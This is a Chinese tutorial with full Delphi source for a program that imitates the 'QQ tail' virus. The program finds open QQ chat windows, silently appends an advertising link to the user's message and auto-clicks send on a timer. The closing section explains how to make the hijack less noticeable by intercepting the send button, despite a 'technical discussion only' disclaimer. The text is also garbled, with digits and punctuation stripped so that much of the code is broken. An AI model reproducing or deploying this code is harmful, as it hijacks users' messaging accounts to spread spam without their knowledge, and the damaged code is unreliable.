近来QQ尾巴病毒大肆发作
我也经常收到网友们发来的带尾巴的消息
于是
好奇心一来
我也来研究研究此病毒的发作原理
首先
我不知道QQ尾巴病毒真正的原理
我只是猜测并且自己写了一个类似的程序来实现它
QQ尾巴的发作情况当用户打开一个QQ消息发送窗口时病毒会自动往消息文本框里输入文本然后不等用户反应过来就发出去了
程序实现首先要找到QQ消息发送窗口的句柄以及消息文本框与发送按钮的窗口句柄
一 如何找到QQ消息发送窗口句柄
QQ消息发送窗口有两种一种是消息模式在这种情况下窗口标题含有发送消息字样一种是聊天模式窗口标题含有聊天中字样
通过枚举窗口就可找到相应的句柄
// 取得QQ的发送消息窗口
function GetQQWnd: HWND;
var
hCurrentWindow: HWnd;
WndText:String;
begin
hCurrentWindow := GetWindow(ApplicationHandle GW_HWNDFIRST);
while hCurrentWindow <> do
begin
WndText:=GetWndText(hCurrentWindow);
if (Pos(聊天中WndText)>) or (Pos(发送消息WndText)>) then
begin
Result:=hCurrentWindow;
Exit;
end;
hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);
end;
Result:=;
end;
二 如何找到发送按钮窗口句柄
找到了QQ的发送消息窗口后就可以进一步查找发送按钮句柄了如窗口句柄为qqWnd则可以用一个循环查找文本中含有发送字样的窗口经过试验发现发送按钮恰恰是窗体的第一个子窗口这样可以用
btnWnd:=GetDlgItem(qqWnd); // 发送按钮
来获得发送按钮的句柄
三 如何找到消息文本框窗口句柄
消息文本框并不好找不过你可以先在消息文本框中输入几个字母如abcd这样我们就可以用上述方法来查找了不过通过实验后发现消息文本框并不是QQ窗口的直接子窗口而是其中一个子窗口的子窗口通过实验可以用
txtWnd:=GetWindow(GetDlgItem(qqWnd)GW_CHILD); // 文本框
来获得
四 如何获得原消息文本框的文本
要获取原消息文本框的文本只需要一个API函数就行了如下
// 获得窗口文本
function GetWndText(hWnd: HWND): String;
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
Ret:=SendMessage(hWndWM_GETTEXTLENGTH)+;
GetMem(mTextRet);
try
Buf:=LongInt(mText);
SendMessage(hWndWM_GETTEXTRetBuf);
Result:=StrPas(mText);
finally
FreeMem(mTextRet);
end;
end;
五 如何住原消息文本框里追加文本
与取文本相反
// 发送文本到窗口
procedure SetWndText(hWnd: HWND; Text: String);
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
GetMem(mTextLength(Text));
StrCopy(mTextPChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWndWM_SETTEXTBuf);
finally
FreeMem(mTextLength(Text));
end;
end;
六 如果让发送按钮自动点击
一切都准备好了现在要开始发送了为了让消息自动发送我们可以模拟发送按钮被点击了
SendMessage(btnWndWM_LBUTTONDOWNMK_LBUTTON);
SendMessage(btnWndWM_LBUTTONUP);
通过模拟一个鼠标在开始按钮上的按下与放开就实现了点击发送功能
七 其它的定时功能比较简单在此也不多说了
八 全部源代码如下
unit Unit;
interface
uses
Windows Messages SysUtils Variants Classes Graphics Controls Forms
Dialogs StdCtrls ExtCtrls;
type
TForm = class(TForm)
Timer: TTimer;
Button: TButton;
Edit: TEdit;
Label: TLabel;
Button: TButton;
procedure TimerTimer(Sender: TObject);
procedure ButtonClick(Sender: TObject);
procedure ButtonClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form: TForm;
implementation
{$R *dfm}
// 获得窗口文本
function GetWndText(hWnd: HWND): String;
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
Ret:=SendMessage(hWndWM_GETTEXTLENGTH)+;
GetMem(mTextRet);
try
Buf:=LongInt(mText);
SendMessage(hWndWM_GETTEXTRetBuf);
Result:=StrPas(mText);
finally
FreeMem(mTextRet);
end;
end;
// 发送文本到窗口
procedure SetWndText(hWnd: HWND; Text: String);
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
GetMem(mTextLength(Text));
StrCopy(mTextPChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWndWM_SETTEXTBuf);
finally
FreeMem(mTextLength(Text));
end;
end;
// 取得QQ的发送消息窗口
function GetQQWnd: HWND;
var
hCurrentWindow: HWnd;
WndText:String;
begin
hCurrentWindow := GetWindow(ApplicationHandle GW_HWNDFIRST);
while hCurrentWindow <> do
begin
WndText:=GetWndText(hCurrentWindow);
if (Pos(聊天中WndText)>) or (Pos(发送消息WndText)>) then
begin
Result:=hCurrentWindow;
Exit;
end;
hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);
end;
Result:=;
end;
// 定时处理
procedure TimerProc;
var
qqWndtxtWndbtnWnd:HWND;
Msg:String;
begin
qqWnd:=GetQQWnd;
if qqWnd= then Exit;
btnWnd:=GetDlgItem(qqWnd); // 发送按钮
txtWnd:=GetWindow(GetDlgItem(qqWnd)GW_CHILD); // 文本框
if (btnWnd=) or (txtWnd=) then Exit;
Msg:=GetWndText(txtWnd);
Msg:=Msg+#+#+欢迎光临绿荫网络http://wwwlvyinnet;
SetWndText(txtWndMsg);
SendMessage(btnWndWM_LBUTTONDOWNMK_LBUTTON);
SendMessage(btnWndWM_LBUTTONUP);
end;
procedure TFormTimerTimer(Sender: TObject);
begin
TimerProc;
end;
procedure TFormButtonClick(Sender: TObject);
begin
TimerEnabled :=not TimerEnabled;
if TimerEnabled then
ButtonCaption :=停 止
else
ButtonCaption :=开 始;
end;
procedure TFormButtonClick(Sender: TObject);
begin
TimerInterval :=StrToInt(EditText);
end;
end
九总结
上面只讲述了QQ消息自动发送的主要功能这或许跟QQ尾巴的原理不同(我也不知道)但总体上应该差不多如果要做到让用户感觉不到异常就要改一下了不要自动发送而是在当用户点击了发送按钮后再把文本加进去这样的话可拦截发送按钮的点击消息然后再用上述方法把文本加进去然后把消息交还原程序处理至于如何让它成为病毒会自我复制自我隐藏等功能那又是另外一个话题了在此就不多讲了
另此文只作技术研讨之用希望大家不要拿它来捣蛋如有产生后果本人概不负责欢迎大家来信探讨